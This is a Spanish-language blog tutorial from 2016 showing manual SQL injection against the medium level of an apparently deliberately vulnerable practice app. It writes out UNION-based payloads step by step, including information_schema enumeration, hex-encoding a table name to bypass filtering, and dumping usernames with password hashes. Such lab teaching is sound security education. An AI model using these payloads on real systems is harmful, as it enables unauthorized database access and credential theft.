Pages

Ads 468x60px

martes, 19 de julio de 2016

Hacking desde 0. Hoy, SQLi medio (manopla style)



Hace unos días veíamos la manera de realizar una inyección SQL de forma manual, pero lo hicimos con el nivel básico. Hoy retomamos las inyecciones SQL pero lo vamos a hacer sobre el nivel medio.

Ya no me voy a enrollar en decir que hay que cambiar el nivel de la prueba ni donde. Ya tenemos que tenerlo "mascao", así que, al tajo.

Igual que en el nivel básico, vamos a meter un 1' para comprobar que la aplicación es vulnerable. 




Una vez comprobado vamos a lo que importa. En este caso le pasamos el famoso 1 OR 1=1 y vemos que ocurre.



Podemos ver que nos devuelve los nombres y apellidos de los usuarios. Vamos a inyectar union select 1,2,3. Lo que le estamos diciendo es que nos muestre la columna uno, la dos y la tres. 



Y nos dice que tiene un número diferente de columnas. Vamos a decirle que solo nos muestre dos, ya que sabemos que con tres falla, a ver que ocurre.



En este caso si que nos devuelve resultados. Vamos a continuar sacando más datos. 


     1 OR 1=1 union select null, table_name from information_schema.tables



Volvemos a tener la información del nombre de la tabla, en este caso "users". Continuamos.


     1 OR 1=1 union select null, concat(table_name, 0x0a, column_name) from information_schema.columns

Hemos obtenido el nombre de la tabla y el nombre de la columna. Si no sabes lo que hace el 0x0a te recomiendo que pinches aquí



Vamos a probar ahora con


     1 OR 1=1 union select null, concat(table_name, 0x0a, column_name) from information_schema.columns where table_name=users 

para sacar ahora información de la tabla "users" para ver que contiene.





Pues parece que no le gusta y nos devuelve un error. No podemos sacar datos de "users", ¿o si? Vamos a echarle imaginación al asunto y vamos a pasar la cadena "users" a hexadecimal. Para esto suelo usar la web http://www.asciitohex.com.



Y vamos a tunear un poco el resultado para poder utilizarlo, quedando así.


     1 OR 1=1 union select null, concat(table_name, 0x0a, column_name) from information_schema.columns where table_name=0x7573657273


Bien, ya tenemos los campos necesarios. Por último, vamos a sacar las contraseñas sustituyendo los valores que acabamos de sacar (first_name y password).

     1 OR 1=1 union select null, concat(first_name, 0x0a, password) from users



Y ya tenemos nuestros resultados de la SQLi manopla style xD.

Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99

Surname: Gordon
e99a18c428cb38d5f260853678922e03

Surname: Hack
8d3533d75ae2c3966d7e0d4fcc69216b

Surname: Pablo
0d107d09f5bbe40cade3de5c71e9e9b7

Surname: Bob
5f4dcc3b5aa765d61d8327deb882cf99

Y como ya aprendimos en la entrada de cracking, seamos eficientes jeje. 



Ya hemos completado los niveles básico y medio de SQLi sin usar ninguna herramienta. El que se anime, que vaya a por el nivel alto xD.


Roberto García (@1GbDeInfo)
Creative Commons Licence
1Gb De informacion by Roberto García Amoriz is licensed under a Creative Commons Attribution-NonCommercial 3.0 Unported License.
Based on a work at http://www.1gbdeinformacion.com/.
Permissions beyond the scope of this license may be available at http://www.1gbdeinformacion.com/.

Perfil profesional en Linkedin

 
Blogger Templates